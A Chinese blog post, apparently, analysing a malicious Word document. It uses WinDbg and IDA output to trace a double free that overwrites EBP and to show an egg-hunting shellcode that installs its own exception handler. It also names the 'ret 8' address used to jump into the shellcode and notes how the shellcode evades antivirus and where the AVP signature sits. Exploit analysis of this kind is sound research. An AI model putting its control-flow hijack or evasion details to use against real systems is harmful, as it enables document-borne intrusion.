前面:
该文是去年某月份写的,今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过),所以…
望路过的朋友指点下关于double free的问题,thx!
分析过程:
1、异常后的栈回溯
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> ub
<Unloaded_ta.dll>+0xba898a:
00ba898b 0000 add byte ptr [eax],al
00ba898d 13d6 adc edx,esi
00ba898f 3083c7415764 xor byte ptr [ebx+645741C7h],al
00ba8995 ff30 push dword ptr [eax]
00ba8997 648920 mov dword ptr fs:[eax],esp // 添加shellcode 的异常处理
00ba899a ba3243313a mov edx,offset <Unloaded_ta.dll>+0×3a314331 (3a314332)
00ba899f 81c214131211 add edx,offset <Unloaded_ta.dll>+0×11121313 (11121314)
00ba89a5 bf00001400 mov edi,offset <Unloaded_ta.dll>+0×13ffff (00140000)
0:000> u
<Unloaded_ta.dll>+0xba89a9:
00ba89aa 3b17 cmp edx,dword ptr [edi] // 异常位置
00ba89ac 7403 je <Unloaded_ta.dll>+0xba89b0 (00ba89b1)
00ba89ae 47 inc edi
00ba89af ebf9 jmp <Unloaded_ta.dll>+0xba89a9 (00ba89aa)
00ba89b1 83c704 add edi,4
00ba89b4 67648f060000 pop dword ptr fs:[0000h]
00ba89ba 57 push edi
00ba89bb c3 ret
///////////////////////////////////////////////////////////////////////////////////////////////
异常时的状态
///////////////////////////////////////////////////////////////////////////////////////////////
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00142b00 ecx=00000000 edx=4b435646 esi=00000000 edi=00feeffd
eip=00ba89aa esp=0011aca4 ebp=6c030a01 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010203
<Unloaded_ta.dll>+0xba89a9:
00ba89aa 3b17 cmp edx,dword ptr [edi] ds:0023:00feeffd=00000000
注意到寄存器已经被覆盖
edx=4b435646
ebp=6c030a01
我们再回头看看SEH的回调处理是如何的?
00ba8995 ff30 push dword ptr [eax]
00ba8997 648920 mov dword ptr fs:[eax],esp // 添加shellcode 的异常处理
0:000> dd poi(fs:0) l2
0011aca4 0012f904 00ba896d
这里已经是shellcode了,异常是shellcode搞得鬼。
///////////////////////////////////////////////////////////////////////////////////////////////
2、栈回溯问题
显然我们这时候用k命令进行回溯已经是错误的了
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0011ace8 30d60800 <Unloaded_ta.dll>+0xba89a9
0011acec 00000000 mso!Ordinal2171+0×2ab
///////////////////////////////////////////////////////////////////////////////////////////////
手工回溯栈
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> !teb
TEB at 7ffdd000
ExceptionList: 0011aca4
StackBase: 00130000 // 基地址
StackLimit: 0011a000 // 边界
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 7ffdd000
EnvironmentPointer: 00000000
ClientId: 000006a4 . 00000fe0
RpcHandle: 00000000
Tls Storage: 00142ad0
PEB Address: 7ffde000
LastErrorValue: 0
LastStatusValue: c0000034
Count Owned Locks: 0
HardErrorMode: 0
///////////////////////////////////////////////////////////////////////////////////////////////
栈是从基地址往低地址生长的,我从0011a000这个边界往回找
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> dds 0011a000 0011a000+1000
0011a000 00000000
0011a004 00000000
0011a008 00000000
0011a00c 00000000
0011a010 00000000
0011a014 00000000
0011a018 00000000
0011a01c 00000000
… // 往下是异常处理
0011a87c 7c930833 ntdll!RtlpImageNtHeader+0×56
0011a880 00ba896d <Unloaded_ta.dll>+0xba896c
0011a884 7c920000 ntdll!RtlDosPathSeperatorsString <PERF> (ntdll+0×0)
0011a888 0011ac00 <Unloaded_ta.dll>+0×11abff
0011a88c 7c9200e0 ntdll!RtlDosPathSeperatorsString <PERF> (ntdll+0xe0)
0011a890 0011a880 <Unloaded_ta.dll>+0×11a87f
…
0011a9a8 7c92eafa ntdll!KiUserExceptionDispatcher+0xe
0011a9ac 7c92d625 ntdll!NtContinue+0xc
0011a9b0 7c92eb08 ntdll!KiUserExceptionDispatcher+0×1c
0011a9b4 0011a9d8 <Unloaded_ta.dll>+0×11a9d7
0011a9b8 00000000
0011a9bc c0000005
…
0011ace0 00000000
0011ace4 ebc03300
0011ace8 0000003a <Unloaded_ta.dll>+0×39
0011acec 30d60800 mso!Ordinal2171+0×2ab // 这里就 kb 命令能回溯到的地方,出问题的就在下一个吧
0011acf0 00000000
0011acf4 00000000
0011acf8 00000000
0011acfc 00000000
…
0011afac 00000000
0011afb0 00000000
0011afb4 0011aff0 <Unloaded_ta.dll>+0×11afef
0011afb8 300316e8 winword+0×316e8 // 这个就是出问题的函数了
0011afbc 0011aff0 <Unloaded_ta.dll>+0×11afef
0011afc0 30cb099d mso!MsoReleaseMemCore+0×1e // 注意到这个 内存 释放函数
0011afc4 00000003 <Unloaded_ta.dll>+0×2
0011afc8 00000001 <Unloaded_ta.dll>
0011afcc 00000000
///////////////////////////////////////////////////////////////////////////////////////////////
3、问题函数
我们回头看看 winword+0×316e8 这个函数
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> uf winword+0×316e8
winword+0×316e8:
300316e8 85db test ebx,ebx
300316ea 8bf0 mov esi,eax
300316ec 5f pop edi
300316ed 0f84d3eb0100 je winword+0×502c6 (300502c6)
winword+0×316f3:
300316f3 ff75fc push dword ptr [ebp-4]
300316f6 ff157c20a730 call dword ptr [winword!wdGetApplicationObject+0x2817a0 (30a7207c)] // 跟的时候这里就是 mso!MsoReleaseMemCore
winword+0×316fc:
300316fc 5b pop ebx
300316fd 8bc6 mov eax,esi
300316ff 5e pop esi
30031700 c9 leave
30031701 c21400 ret 14h
winword+0×502c6:
300502c6 837dfc00 cmp dword ptr [ebp-4],0
300502ca 0f842c14feff je winword+0×316fc (300316fc)
winword+0×502d0:
300502d0 e9f32e3200 jmp winword!wdCommandDispatch+0×9350f (303731c8)
winword!wdCommandDispatch+0×9350f:
303731c8 ff75fc push dword ptr [ebp-4]
303731cb ff150c20a730 call dword ptr [winword!wdGetApplicationObject+0x281730 (30a7200c)]
303731d1 e926e5cbff jmp winword+0×316fc (300316fc)
///////////////////////////////////////////////////////////////////////////////////////////////
既然有释放也必然有 alloc
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> x mso!Mso*MemCore
30cafa50 mso!MsoFAllocMemCore (<no parameter info>)
30cafccb mso!MsoFMarkMemCore (<no parameter info>)
30cb097f mso!MsoReleaseMemCore (<no parameter info>)
///////////////////////////////////////////////////////////////////////////////////////////////
显然这是个堆溢出,用IDA看了下
///////////////////////////////////////////////////////////////////////////////////////////////
int __stdcall sub_30031687(void *a1, int a2, int a3, int a4, int a5)
{
int v5; // ebx@2
int v6; // esi@4
int v8; // eax@2
int v9; // [sp+10h] [bp-4h]@2
int v10; // [sp+4h] [bp-10h]@4
int v11; // [sp+Ch] [bp-8h]@4
unsigned int v12; // [sp+8h] [bp-Ch]@4
if ( (unsigned int)a3 <= 0xA8C )
{
v6 = sub_30050378(a1, a2, a3, a4, a5);
}
else
{
v8 = MsoFMarkMemCore(&v9, 0×3FA3u);
v5 = v8;
if ( !v8 )
v9 = MsoPvAllocCore(0×3FA3u, 2);
if ( v9 )
{
v10 = 0;
v11 = v9;
v12 = 0×3FA3u;
v6 = sub_30031704(a1, a2, a3, a4, a5, (int)&v10);
if ( v5 )
{
MsoReleaseMemCore(v9);
}
else
{
if ( v9 )
MsoFreePv(v9);
}
}
else
{
v6 = sub_308FE25F(a1, a2, a3, a4, a5);
}
}
return v6;
}
///////////////////////////////////////////////////////////////////////////////////////////////
在最后EBP被覆盖前,有Double Free的现象
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bc84 30038e74 00b80418 08b3b9f4 00000000 mso!MsoReleaseMemCore
0012c0cc 3006df62 08b3b9f4 00000117 00000000 winword+0×38e74
0012c100 3006deb0 00000117 000c0838 0012c128 winword+0×6df62
0012c138 3006db3f 00b80398 00b80398 0cea08ca winword+0×6deb0
0012c170 30071151 00000001 00b80398 0cea08ca winword+0×6db3f
0012c228 30073769 00b80398 00000000 00000000 winword+0×71151
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0×73769
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0×7250e
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0×6a9a0
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0×67b12
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0×5b
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0×43
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 <Unloaded_ta.dll>+0×12c6d3
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0×5f
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0×1f
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0×13
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0×2f3fec
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0×2f4452
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0×2fb88a
00000000 00000000 00000000 00000000 00000000 winword+0×3ce45
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=08b3b9f4 ecx=0012bc58 edx=7c92eb94 esi=00000000 edi=0012beb4
eip=30cb097f esp=0012bc80 ebp=0012bd98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!MsoReleaseMemCore:
30cb097f 57 push edi
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bd98 00000000 0012f904 00000002 0e19ab00 mso!MsoReleaseMemCore
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=00000000 ecx=08b3bad4 edx=7c92eb94 esi=00000001 edi=08b3bad4
eip=30cb097f esp=0012bc6c ebp=0012bc80 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!MsoReleaseMemCore:
30cb097f 57 push edi
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bc80 30038e74 00b80418 08b3bad4 00000000 mso!MsoReleaseMemCore
0012c0c8 3006df62 08b3bad4 00000116 00000000 winword+0×38e74
0012c0fc 3006e74c 00000116 000c0838 0012c128 winword+0×6df62
0012c138 3006e701 00b80398 00b80398 0cea08ca winword+0×6e74c
0012c170 30071151 00000001 00b80398 0cea08ca winword+0×6e701
0012c228 30073769 00b80398 00000000 00000000 winword+0×71151
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0×73769
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0×7250e
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0×6a9a0
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0×67b12
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0×5b
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0×43
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 <Unloaded_ta.dll>+0×12c6d3
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0×5f
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0×1f
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0×13
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0×2f3fec
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0×2f4452
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0×2fb88a
00000000 00000000 00000000 00000000 00000000 winword+0×3ce45
///////////////////////////////////////////////////////////////////////////////////////////////
覆盖后的
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> r ebp
ebp=6c030a01
注意doc便宜 BE8 位置上的内容
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000BE0 00 00 00 FF 34 D6 06 00 01 0A 03 6C C4 33 00 30 …4?….l?.0
00000BF0 00 00 06 00 00 16 24 01 49 66 01 00 00 00 00 05 ……$.If……
///////////////////////////////////////////////////////////////////////////////////////////////
往下走的时候
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> u
winword+0×33c4:
300033c4 55 push ebp
300033c5 8bec mov ebp,esp
300033c7 833d74d2a83002 cmp dword ptr [winword!wdGetApplicationObject+0x29c998 (30a8d274)],2
300033ce 0f855c903600 jne winword!wdCommandDispatch+0×8c777 (3036c430)
300033d4 ff15bc130030 call dword ptr [winword+0x13bc (300013bc)]
300033da 85c0 test eax,eax
300033dc 7410 je winword+0×33ee (300033ee)
300033de ff750c push dword ptr [ebp+0Ch]
0:000> u
winword+0×33e1:
300033e1 ff7508 push dword ptr [ebp+8]
300033e4 50 push eax
300033e5 e80d000000 call winword+0×33f7 (300033f7)
300033ea 5d pop ebp
300033eb c20800 ret 8 // 需要用到 ret 8 来协调
///////////////////////////////////////////////////////////////////////////////////////////////
接下来就是要的shellcode
总结如下:
利用 WORD 存在的 Double Free 实现覆盖, 然后通过300033eb地址上的通用调转来实现最终shellcode的执行。
shellocode 利用 异常机制来反杀毒软件对shellcode的检测。(其实我对 double free 是不明白的,望大牛路过指教下!)
AVP特征:
///////////////////////////////////////////////////////////////////////////////////////////////
0xb7e – 0xbf7
所在格式:
Border Code (BRC) -> sprmTTableBorders
sprmTTableBorders 0xd613 change tap.rgbrcTable BRC[6] (see below) variable length
sprmTTableBorders (opcode 0xD613) sets the tap.rgbrcTable. The sprm is interpreted
by moving the 48 bytes of the sprmBRCs) to tap.rgbrcTable.
avp不是这个格式来定位特征,应该是死偏移来解决的。
///////////////////////////////////////////////////////////////////////////////////////////////
支持大萝卜的 softrce~~
分析的不错,再待佳作 :)
[回复]
呵呵,路过,顶一下。
[回复]